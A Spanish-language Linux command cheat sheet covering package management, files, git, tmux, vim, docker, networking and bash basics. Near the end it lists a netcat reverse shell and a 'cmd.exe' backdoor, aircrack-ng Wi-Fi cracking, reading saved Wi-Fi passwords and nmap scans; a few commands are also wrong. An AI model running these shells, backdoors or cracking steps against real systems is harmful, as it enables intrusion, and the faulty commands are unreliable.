Instalación de Multipass orchestrates virtual Ubuntu instances:
multipass help
multipass list
multipass find
multipass launch --name test
multipass exec test -- lsb_release -a
multipass info test
multipass shell test
multipass stop test
multipass start test
multipass delete test
multipass purge
multipass launch -n bar --cloud-init cloud-config.yaml
multipass launch lts --name ltsInstance --mem 2G --disk 10G --cpus 2
Privilegios absolutos (root):
su
Si el usuario pertenece al grupo de administradores:
sudo -i
Para ejecutar un comando que requiera permisos de administrador:
sudo comando
Si olvidamos escribir sudo y nos da un error por ello, podemos usar sudo !! para ejecutar el comando anterior con sudo de prefijo.
Para saber que distro de Linux tenemos:
uname -a
Actualizar Debian/Ubuntu:
apt update -y && apt upgrade -y
En Fedora/Centos se utiliza yum para gestionar los paquetes:
yum update -y
Arch/Manjaro:
pacman -Syy
pacman -Su
Puedes usar '&&' para varios comandos seguidos:
apt update -y && apt upgrade -y && apt autoremove -y
Crear un usuario:
useradd nombre_usuario
mejor
adduser nombre_usuario
Cambiar de grupo principal:
usermod usuario -g otro_grupo
Para agregar usuarios a grupos secundarios, por ejemplo, grupo sudo:
usermod nombre_usuario -aG sudo
Eliminar un usuario:
userdel nombre_usuario
Ver los usuarios y detalles del host:
users && groups nombre_usuario
hostnamectl
Para cambiar la contraseña utilizamos:
passwd
Para el root, utilizamos:
sudo passwd root
Para ver los grupos a los que pertenece el usuario:
groups nombre_usuario
Para saber el nombre del host:
hostname
Para cambiar el nombre:
hostnamectl set-hostname nuevo_nombre
Instalar todo tipo de programas en Linux, por ejemplo, htop:
sudo apt install htop -y
Instala programas con snap (apt install snapd o yum install snapd), por ejemplo, VScode, Android Studio y VLC:
snap install code --classic
snap install android-studio --classic
snap install vlc --classic
En Arch/Manjaro no necesitamos snap, ya que con yay encontramos todo lo que necesitamos.
yay -S vim code android-studio vlc
Crear y navegar por las carpetas:
mkdir nombre_carpeta
cd /nombre_carpeta
Regresar al directorio anterior:
cd ..
Saber el directorio en el que estamos:
pwd
Crear un archivo vacío:
touch nombre_archivo
Crear un archivo con un texto corto:
echo "Texto corto" > nombre_archivo
Si utilizamos >> agregamos el texto sin reemplazar el archivo.
echo "Agregamos texto nuevo" >> nombre_archivo
Si queremos aplicar un comando a un archivo, por ejemplo, un script mysql, usamos <.
mariadb --user=root --password -s < mariadb.sql
Para echar un ojo a un archivo corto:
cat archivo && more archivo && less archivo
Con el editor nano / vi podemos ver y editar archivos más grandes:
nano nombre_archivo
Utilizando Ctrl-x guardamos los cambios.
Limpiar la pantalla en la terminal:
clear o Ctrl-L
Encontrar un archivo en el sistema:
find / -name archivo
En caso de que el archivo se encuentre en una carpeta que requiera permiso, usar sudo antes del comando.
Ver el historial del terminal:
history
Para limpiar el historial history -c (bash).
Para ejecutar el comando encontrado:
!53
Mostrar la estructura de ficheros:
tree
Copiar los archivos de un sitio a otro:
cp carpeta/archivo carpeta/
Crea una copia con un nuevo nombre:
cp archivo nuevo_archivo
Renombra los archivos (no guarda la copia anterior):
mv archivo nuevo_archivo
Lista todos ficheros, archivos:
ls
ls -l
Para mover archivos seguimos el mismo razonamiento que al copiar. Mientras que si es una carpeta debemos agregar -r:
mv -r carpeta/ /carpeta/destino
Mueve todos los archivos de una carpeta a otra:
mv -r carpeta/* /destino/
Para eliminar archivos y carpetas:
rm nombre_archivo
rm -r /carpeta
Cuidado, #sudo rm -r /* destroza nuestro sistema, elimina todo.
Crear links a archivos es sencillo, por ejemplo, al "archivo_1":
ln archivo_1 archivo_2
Para crear links a directorios o entre particiones:
ln -s /dir1 archivos
Este comando es un combo, ya que permite saber que binarios tenemos instalados:
ls /bin/ && ls /usr/bin
Para saber los dispositivos conectados a los puertos USB:
lsusb
Para montar un disco, lo ubicamos con fdisk -l y luego
sudo mount -rw /nombre/disco /mnt
Para saber el porcentaje de uso de los discos disponibles:
df --total -hl
Para saber la memoria RAM disponible:
grep MemTotal /proc/meminfo
free -m
Crear un USB bootable con cualquier imagen de Linux:
dd bs=4M if=arch.iso of=/dev/sdb status=progress
Ver las conexiones en los sockets de nuestro equipo:
ss
ss -l
ss | grep tcp
ss -t -a
Para conocer los usuarios logueados en el sistema:
who
IP local y Wifi:
ifconfig
ip address
iwconfig
Muestra la IP pública:
curl ifconfig.me
curl https://ipinfo.io/ip
Saber la claves Wi-Fi a la que nos hemos conectado:
sudo -i
cd /etc/NetworkManager/system-connections
ls
cat "el archivo wifi"
Ruta IP ROUTE
ip route
route -n
Enviar peticiones a servidores online o en red local:
ping google.com || ping 192.168.1.1
Usuario y tiempo conectado:
uptime -p
Muestra la versión del kernel:
uname -r
Almacenamiento de los discos:
df --total -h
Si queremos saber donde está un dispositivo USB, disco duro y sus particiones:
fdisk -l
lsblk
Los procesos del sistema pueden mostrarse con:
top && htop
Imprimir todos los procesos en un momento determinado:
ps -ef | less
El signo | nos permite concatenar comandos (pipes).
Detalles del Hardware y bios del sistema:
dmidecode
dmidecode -t processor
dmidecode -t bios
dmidecode -t baseboard
dmidecode -V
dmidecode --help
Con neofetch podemos ver detalles de nuestro sistema de manera divertida (apt install neofetch):
neofetch
Descomprimir archivos:
unzip *.zip
gunzip example.txt.gz
Instalación de aplicaciones .deb. También es posible usar gdebi:
dpkg -i archivo.deb && apt install -f
Los siguientes comandos utilizan systemctl para controlar servicios del sistema:
systemctl enable nombre_servicio
systemctl start nombre_servicio
systemctl stop nombre_servicio
systemctl disable nombre_servicio
Reiniciar Wifi:
service network-manager restart
nohup mantiene la ejecución de un comando pese a salir de la terminal por ejemplo, un script de Python:
nohup python3 main.py > flask.log 2>&1 &
Detener proceso:
top
kill id_proceso
Características del sistema:
lshw && lscpu
Un browser en el terminal:
elinks https://medium.com/learn-love-code/how-to-set-up-your-professional-data-science-environment-6df74eb06aa4
Ver lista de repositorios:
apt list
vi /etc/apt/sources.list
Fedora
dnf repolist
vi /etc/yum.repos.d/fedora.repo
Controlar los permisos para la accesibilidad de los archivos y carpetas de nuestro sistema, por ejemplo, dar todo tipo de acceso a un archivo:
sudo chmod 777 nombre_archivo
sudo chmod a+rwx nombre_archivo
O para que solamente root pueda acceder a ellos:
sudo chmod 700 nombre_archivo
Acceso a carpeta para todos los usuarios:
chmod ugo+rwx nombre_carpeta
Cambiar el 'owner' de /u y subdirectorios del usuario "root". Útil para acceder a archivos "READ-ONLY":
sudo chown -hR root /u
Encontrar palabras con grep o egrep (usa expresiones regulares extensivas - obsoleto, utilizar grep -E):
touch example
ls | egrep example
Buscar palabras en archivo:
look texto archivo o grep texto archivo
Encontrar después de patrón:
echo "field1 field2 field3 field4" | grep -oP '(?<=field3 )[^ ]*'
Antes del patrón:
echo "field1 field2 field3 field4" | grep -oP '(?<=field2 )\w+'
IP del proveedor de Internet:
grep nameserver /etc/resolv.conf | awk '{print $2}'
IP del servidor local:
ip route show | grep default | awk '{print $3}' | cut -d$'\n' -f1
IP local del dispositivo:
ip address show $interface | grep "inet " | awk '{print $2}'
Para listar los archivos que tengan un patrón, por ejemplo, que terminen en .iso.
ls | grep *.iso
Para saber el número de archivos en una carpeta:
ls | wc -l
Conocer la cantidad de filas en un archivo:
wc -l archivo
Para acceder a las 10 primeras y últimas filas:
head -10 archivo
tail -10 archivo
Si el archivo es demasiado grande, podemos separarlo en varias partes, por ejemplo, cinco:
split -n 5 archivo parte_
split -a 3 -d -b 10M archivo.txt logs_
Para volver a unirlos:
cat logs_* > log.txt
Para seleccionar la quinta columna, utilizamos:
awk '{print $5}' log
Cambiar el orden de columnas:
awk '{print $3, $1}' archivo.txt
ps -ef | awk -F " " '{print $2}'
Separar columnas en función de un carácter, por ejemplo, dos puntos ( : )
cut -d ':' -f 1 log
Obtener la primera fila de datos (crear un respaldo):
sed 1d archivo
sed -i edita el archivo original
Eliminar la última línea o fila de datos:
sed -i '$d' archivo
Cortar una sección intermedia de filas:
sed -n '2, 6p' archivo1.txt > archivo2.txt
Crear un secuencia:
seq 1 10
Para buscar archivos:
sudo apt install locate
sudo updatedb
locate -i archivo
Localizar un comando:
which python
Instalar:
sudo apt install openssh-server -y
sudo systemctl enable ssh
sudo systemctl start ssh
sudo systemclt status ssh
Agregar llaves para no usar contraseñas:
ssh-keygen
ssh-copy-id -i ~/.ssh/id_rsa.pub UserName@RemoteServer
ssh-add
Sí hay una ssh key requerida:
ssh -i tu_ssh_key.pem user@server_ip
Copiar archivos local --> remoto:
scp /dir/al/archivo user@remote.local:~/Destino/
scp -P 22 -r /dir/ user@remote:~/Destino/
Copiar archivos remoto --> local:
scp user@ip:file.txt /path/to/dest
Y copiar archivos con llave:
scp -r -i tu_ssh_key.pem tu_archivo user@server_ip:~
Para ejecutar comandos a distancia:
ssh user@remote.local ls
Para conectar fuera de la red local necesitamos la IP pública del router y haber abierto un túnel para un servidor local:
ssh user@IP
Firewall:
ufw allow 22/tcp
ufw allow 2222/tcp
ufw allow from 202.54.1.1 to any port 22
ufw limit ssh
ufw status
Detener y deshabilitar:
systemctl stop ssh
systemclt disable ssh
Descargar archivos desde la terminal, por ejemplo, instalador de RStudio para Debian 10 y Ubuntu 19.
wget https://download1.rstudio.org/desktop/bionic/amd64/rstudio-1.2.5001-amd64.deb
Para descargar archivos de un servidor o website.
wget -A pdf,csv,txt,png,jpg -m -p -E -k -K -np www.programandoconro.wordpress.com
Descargar el index.html y los links asociados al website.
wget -rpk www.programandoconro.wordpress.com
Para descargar un repositorios Git:
git clone https://github.com/progamandoconro/My-Lynux-Locker
Para actualizar el repositorio local a partir de GitHub:
git pull origin master
Los commits y los push también pueden realizarse de esta manera o directamente en GitHub.
git add . # Agregar todos los archivos
Agregar un archivo concreto:
git add /path/to/file
git diff --cached
git commit -m 'comment'
git commit --amend -m 'my corrected comment' # Para corregir el mensaje del commit anterior.
git push -u origin master
git checkout -b 'robranch'
git switch robranch # Cambiar de branch
git push origin robranch
git branch -a # Ver las branchs
Une otra branch con la branch en la te encuentras
git merge <otra-branch>
git merge --squash <otra-branch> # Igual que el anterior pero junta todo los commits(es necesario hacer un nuevo `git add .` y `git commit -m "mensaje"`)
git fetch --all # Actualizar las branchs
Elimina el archivo en todo el historial
git rm --cached myarchivo.txt
Actualiza las branchs remotas localmente
git remote update origin --prune
Para hacer stash ("salvar los cambios" sin commit) y agregar un mensaje a dicho stash:
git stash save "mensaje"
Más opciones y comandos de git:
git init
Para saber el nombre e email configurados en git:
git config --global user.name "Your Name Comes Here"
git config --global user.email you@yourdomain.example.com
git config --list
git status
git log
git log -p
git log -S # searchs a word in the commits
git log --stat --summary
git log --graph --decorate --oneline
git help -a
git help -g
Revertir commit:
git log --oneline # Para obtener la id del commit al que desear regresar.
git checkout <commit-id>
git add . && git commit "Go back" && git push origin <branch>
Volver al commit anterior sin guardar cambios agregados:
git reset --soft HEAD
Volver a un commit puntual.
Busca el commit id con git log seguido de:
git reset <commit-id>
En caso que no hayas hecho git add ., puedes usar el siguiente comando para volver al commit previo y eliminar los cambios:
Bueno cuando los experimentos no salieron bien y quieres volver al commit anterior:
git checkout .
Podemos usar HEAD~2 para volver dos commit a tras de HEAD.
Usando git reset --hard seguido del hash del commit, volvemos a dicho commit.
Extra tips:
*Si creas un archivo .gitignore en el directorio, git ignora los archivos que determines.
Puedes crear alias por ejemplo, para agregar los archivo en el directorio actual y hacer un commit al mismo tiempo:
git config --global alias.ac '!git add . && git commit -m'
Buscar archivos que contengan una palabra específica en el código dentro de todo el repositorio con git grep 'palabra(s)'
Guardar el estado actual del repositorio sin hacer commit con git stash. Usando git stash pop volvemos al estado en el que estábamos trabajando.
Tutorial de git
git help tutorial
Install: apt install tmux
Create a new session: tmux new -s mysession
Split pane vertically: Ctrl b + %
Split pane horizontally: Ctrl b + "
Move between panes: Ctrl b + arrows
Create new window: Ctrl b + c
Move between windows: Ctrl b + n
Resize panes:
Ctrl b + : +
resize-pane -D (Resizes the current pane down)
resize-pane -U (Resizes the current pane upward)
resize-pane -L (Resizes the current pane left)
resize-pane -R (Resizes the current pane right)
resize-pane -D 20 (Resizes the current pane down by 20 cells)
resize-pane -U 20 (Resizes the current pane upward by 20 cells)
resize-pane -L 20 (Resizes the current pane left by 20 cells)
resize-pane -R 20 (Resizes the current pane right by 20 cells)
resize-pane -t 2 20 (Resizes the pane with the id of 2 down by 20 cells)
resize-pane -t -L 20 (Resizes the pane with the id of 2 left by 20 cells)
Detach from session: Ctrl b + d
Switch sessions: Ctrl b + s
Kill active panel: Ctrl b + x
To check session: tmux ls
To attach to a session: tmux attach -t mysession
To kill a session, simply use: exit o tmux kill-server
Extra ones:
Big clock: Ctrl b + t
Shortcuts: Ctrl b + ?
Básicos:
i Modo insertar (insertar texto).
ESC Modo Normal.
v Modo visual.
:w guardar.
:wq guardar y salir.
:qa! salir sin guardar.
k subir.
j bajar.
h izquierda.
l derecha.
o insertar + línea adicional.
u undo, deshacer.
Ctrl r rehacer.
y copiar.
d borrar (cortar).
p pegar.
a insertar a la derecha del cursor A -> inserta al final de la línea.
I insertar al principio de la línea.
Desplazamiento:
e final de palabra.
w comienzo y final de cada palabra.
0 principio de línea.
Shift arrows desplazar rapidamente por el documento.
[[ Ir al primer bloque.
]] Ir al último bloque.
} Bloque siguiente.
{ Bloque anterior.
( Principio de línea.
) Fin de línea.
:55 Ir a línea 55.
Ctrl O Navegar entre posiciones.
'' Navegar a la posición previa.
f + { Va directamente al siguiente {.
Funciona para otros caracteres, por ejemplo: [ , ( , [a-z], [0-9] ,, etc.
Selección:
v seleccionar (usar cursor o letras para mover, sirve combiando con Shift).
V seleccionar línea entera.
V G selecciona todo el texto abajo del cursor.
V } Seleccionar una función
v } Seleccionar bloques hacia abajo
v { Seleccionar bloques hacia arriba
vat Seleccionar html tag hacia abajo o arriba
Funcionalidades:
Mostrar archivos en path :!ls
Buscar y abrir archivos en path Ctrl p
Encontrar patrón en texto /patron
Borrar una función V } d
Borrar todo dentro de comillas d i "
Cambiar entre ventanas Ctrl + w + k o Ctrl + w + j
Borrar 10 líneas abajos 10 dd
Ir al inicio gg
Ir al final G
Mostrar status Ctrl + g
Ergonómicos:
Z Q Salir.
Ctrl c Modo Normal.
V G d borrar todo el documento
Borrar y editar directamente dentro de una función c i {
/ buscar, n siguiente y N anterior
Ctrl v Bloques visuales
. Rehace el último comando en un sito nuevo.
Marcas:
Escribe :mark a en la línea que desea marcar, navega a ella con 'a. También puedes navegar entre marcas con [' y ]'.
Editar múltiples líneas:
Seleccionamos con V y luego usamos Ctrl V seguido de las teclas de desplazamiento (j, k, l, h, etc...) y el texto a agregar.
Para agregar espacios a multiples líneas
seleccionamos con V y agregamos I, luego con espacios movemos las líneas.
Sustituir patrón de texto :%s 'texto a sustituir'/'nuevo texto'.
Comentar múltiples líneas:
Comentar. Seleccionar texto a comentar y luego :norm i// (o :norm i#). O, puedes utilizar :s/^/# / .
Autoindent múltiples líneas (Ideal para programar en Python):
Seleccionar líneas con V y luego >>.
Autocompletar <- Ctrl x Ctrl o, luego seleccionar con Ctrl n .
Prettier para js, html, css Ctrl l.
Editar varias líneas al mismo tiempo:
Encerrar texto seleccionado en un tab
selecciona con v o V, luego S y finalmente el tag, por ejemplo, <div>
Editar varios archivos en la misma pantalla
Editar un nuevo archivo: :e nombre_archivo
Dividir la pantalla verticalmente y abrir un nuevo archivo para editar: :vsplit nombre_archivo
Para dividir horizontalmente usamos :split
Navegar entre pantallas: Ctrl w + jklh
Con :hide podemos esconder la ventana, o simplemente :q, :qa! o :wq para cerrarla.
Abrir la terminal sin salir de Vim:
Podemos usar :term o :vert term para que se divida la pantalla verticalmente.
Adicionalmente, podemos usar Ctrl z para suspender Vim y luego fg en la terminal para regresar a vim.
Encapsular un tag con otro tag facilmente. Útil para react, react-native, etc...
*Requiere el plugin surround.
Selecciona el tag a encapsular con v, luego utiliza S y escribe el tag que va a encapsular al anterior, por ejemplo View o div.
docker run -it ubuntu
docker images
Dockerfile:
FROM
MAINTAINER
LABEL
COPY
ADD
RUN
EXPOSE
CMD
ENTRYPOINT
docker build . -t example
docker run example
docker ps
docker logs
docker exec $ID bash
docker inspect $ID
docker network ls
docker image prune -a # borra las imágenes no utilizadas
docker system prune # elimina el cache, los containers e imágenes detenidas, etc.
Para acceder a los puertos del localhost desde el contenedor:
docker run -it --network host example
Para limitar el uso de memoria RAM y de CPU:
docker run -dit --memory="1g" --cpus="1.0" nombre_contenedor
Uso de docker-compose:
docker-compose build
docker-compose up
docker-compose start
docker-compose stop
Para navegar de manera anónima. Simplemente descargalo de https://www.torproject.org y:
tar -xvJf tor-browser-linux64-9.0.4_en-US.tar.xz
./tor-browser_en-US/Browser/start-tor-browser &
conda create -n my_env python=3.7 anaconda
conda create -n r_env r-essentials r-base
#Creados estos tres ambientes, podemos activar alguno con:
conda activate r_env
#Y ver las sesiones creadas con:
conda info --envs
#Para instalar modulos de Python, por ejemplo, face_recognition, utilizamos conda o pip:
conda install face_recognition # (o pip install face_recognition)
youtube-dl $url
# solamente audio
youtube-dl --extract-audio --format mp3
# Ver los formatos disponibles
youtube-dl -F $url
ffmpeg -i input.avi -strict -2 output.mp4
convert -delay 10 -loop 0 * .png mygif.gif
apt install fbi
fbi foto.png
cvlc /music
# para ver opciones de control:
vlc --help
apt-get install bastet moon-buggy ninvaders nsnake pacman4console neofetch figlet -y
bastet
moon-buggy
figlet HOLA AMIGO
El próximo comando te hará sentir en la matrix.
apt install cmatrix
cmatrix
telnet towel.blinkenlights.nl
Factores en la terminal factor 12
Voltea la palabra que introduzcas rev agrega 123, por ejemplo.
Repite un mensaje yes Viva Linux!!
Provocar sonidos en el computador (apt install beep / yum install beep) beep -f 4000 -D 500 -l 100 -r 100
También se puede hacer un banner, sencillamente: banner hola
Instalar nuevos themes e íconos
apt search shell-theme # o dnf en Fedora
apt search icon-theme
apt install ... # dnf install ...
Buscar paquetes que contienen algún comando que requerimos:
# Debian / Ubuntu
apt search paquete
# Fedora / Centos
yum search paquete
# Manjaro / Arch
pacman -Ss paquete
Para ejecutar scripts al iniciar el sistema:
cd ~
sudo nano .bashrc
# Escribe el script
./script
Para seguir ejecutando un comando incluso despues de cerrar la sesión en tu servidor. Usa sshpara entrar en tu servidor. Luego ejecuta screen, esto creará una nueva pantalla, ejecuta el comando que deseas que siga corriendo después de desloguearte y finalmente Ctrl + ad. El comando seguirá corriendo.
Listar las aplicaciones desktop.
ls /usr/share/applications | awk -F '.desktop' ' {print $1}'
Tiempo de procesos:
echo "sudo apt update -y" > myUpdate.sh
time bash myUpdate.sh
Esperar 10 segundos.
sleep 10
Asignar nombre a variable introducida por el usuario:
read -p "Enter a word: " word
echo "You entered $word"
Programar tareas:
rm -f /var/run/crond.pid #delete pid
cron 00 00 * * * myUpdate.sh #todos los dias a las 12
Cambiar el tamaño de las fuente en terminal.
dpkg-reconfigure console-setup
Kill procesos en un socket determinado:
sudo lsof -t -i tcp:8000 | xargs kill -9
Asignar "alias" a comandos, por ejemplo:
alias python=python3
Para que estos cambios sean permanentes, puedes agreagar un alias en el archivo bashrc:
echo "alias python='python3.9'" >> ~/.bashrc
source ~/.bashrc
Crear tu propio comando:
echo "echo MI PROPIO COMANDO" > micomando
chmod +x micomando
sudo mv micomando /usr/bin/
micomando
Formatear USB:
fdisk -l # encontramos el dispositivo, por ejemplo sdc1.
umount /dev/sdc1
sudo mkfs -t vfat /dev/sdc1
Controlar luz de la pantalla (Debes encontrar el archivo brightness):
echo 8 > /sys/class/backlight/intel_backlight/brightness
Escribir un script de varias líneas en la terminal sin usar un editor.
cat <<EOF > print.sh
#!/bin/bash
echo esta es una línea
echo esta es otra línea
EOF
sh print.sh
Ejecutar un script cada vez que iniciemos una sesión, por ejemplo, un programa python:
sudo vim /etc/profile`` y agregamos al final ``sudo python /carpeta/con/el/programa/nombreprograma.py &
apt install nmap
Para evaluar la red local entera:
nmap 192.168.1.1/24 #(o 192.168.0.1/24)
filtrar por puerto y estado
nmap -Pn 192.168.1.1/24 -p22 -open
Auditar
nmap -Pn PublicIP/24
Bloquear IPs que intenten conectar sin permiso.
iptables -A INPUT -s $IP -j DROP
Elegir en cual servidor mostrar el display.
export DISPLAY=:0 # en el servidor local
export DISPLAY=:1 # en el servidor remoto
Reverse shell tunneling:
El cliente con Firewall se conecta a la computadora del desarrollador (dev), y envía su shell de manera reversa (-R--), creando un túnel.
ssh -R 19999:localhost:22 dev@publicIP
El desarrollador escucha en el puerto 19999 y accede a la computadora del cliente (cli), gracias al túnel abierto.
ssh cli@localhost -p 19999
Redirigir un puerto (ej. 80) de una computadora remota al localhost (ej. 2002):
ssh -N -L2002:localhost:80 user@ip_machine
Compartir la terminal en el browser.
(apt install tmate / yum install tmate)
tmate
Modo Monitor de Wifi, Sniffing y Crackeo con aircrack-ng (apt install aircrack-ng)
ifconfig wlan1 down
iwconfig wlan1 mode monitor
iwconfig
airdump-ng
airodump-ng -c 1 --bssid XX:XX:XX:XX:XX:XX:XX -w output wlan1
aircrack-ng -b 00:14:6C:7E:40:80 output.cap -w mydiccionary.txt
Escaneo de Redes Wifi Disponibles
sudo iwlist wlan0 scan | egrep "Cell|ESSID|Signal|Rates"
Ncat: Reverse Shell: Desarrollador escucha en puerto 4444
nc -lvp 4444
Cliente envía su Shell a la IP del desarrollador.
nc **IP** 4444 -e /bin/sh
Backdoor Ejecutar en el servidor remoto
nc -L -p 3001 -d -e cmd.exe
Servidor web inseguro
while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat index.html; ) | nc -l -p 8080 ; done
Chat
nc -l -vv -p 5000
nc 192.168.56.1 5000
Enviar archivo (inseguro)
Receptor escucha:
nc -l -p 9999 > test.txt
El otro lado envía:
nc 192.168.0.1 9999 < test.txt
Enviar archivo via ncat por tunel ssh (Seguro)
nc myDocument.pdf | ssh me.myserver.com nc -l -p 20000
# cliente
nc me.myserver.com 20000 > myDocument.pdf
Ejecutar un comando cada 2 segundos.
watch ls
Si desde otras ventana agregas unos archivos, podrás ver los cambios en ventana que ejecuta watch.
Dispositivos conectados USB por conexión serial. Ubicarlo es sencillo con:
dmesg | grep ttyUSB
Podemos usar rshell y repl para acceder al dispositivo.
rshell -p /dev/ttyUSB && repl
Para interactuar con el dispositivo, podemos usar:
ampy --port /dev/ttyUSB** ls
ampy --port /dev/ttyUSB** put archivo
ampy --port /dev/ttyUSB** run archivo
ampy --port /dev/ttyUSB** rm archivo
Temperatura CPU Raspberry Pi.
/opt/vc/bin/vcgencmd measure_temp
Controla el audio:
amixer scontrols
Busca el dispositivo y ajustar el volumen.
amixer sset 'PCM' 100%
Cambiar el banner cuando accedemos al shell del servidor.
vim /etc/motd
Declarar variables:
mivar="HOLA-MUNDO!"
echo $mivar
yes $mivar
Leer input del usuario:
read -p "Escríbeme un saludo: " -r saludos
echo "$saludos para ti también"
Aritmética
echo $((((2+2-3)*3)/3))
If
if [ hola == hola ]; then
echo TRUE;
else
echo FALSE;
fi
VAR="Hello Amit";
if [[ $VAR == *Amit* ]];
then echo "its Amit";
else
echo "Its not Amit";
fi
For
for i in {1..10} ; do
echo "hola $i";
done
for i in $( ls ); do
echo item: $i;
sleep 1;
done
for i in `seq 1 10`; do
echo $i
done
for e in {0..9};do echo $e; done;
While
COUNTER = 0
while [ $COUNTER -lt 10 ]; do
echo The counter is $COUNTER
let COUNTER = COUNTER+1
done
Until
COUNTER = 20
until [ $COUNTER -lt 10 ]; do
echo COUNTER $COUNTER
let COUNTER -= 1
done
Funciones
function chao {
echo 'Chao amigo!';
exit;
}
Como despedida ... salir, reiniciar, apagar en 30 min, apagar ahora, respectivamente.
exit
reboot
shutdown -h +30
poweroff -f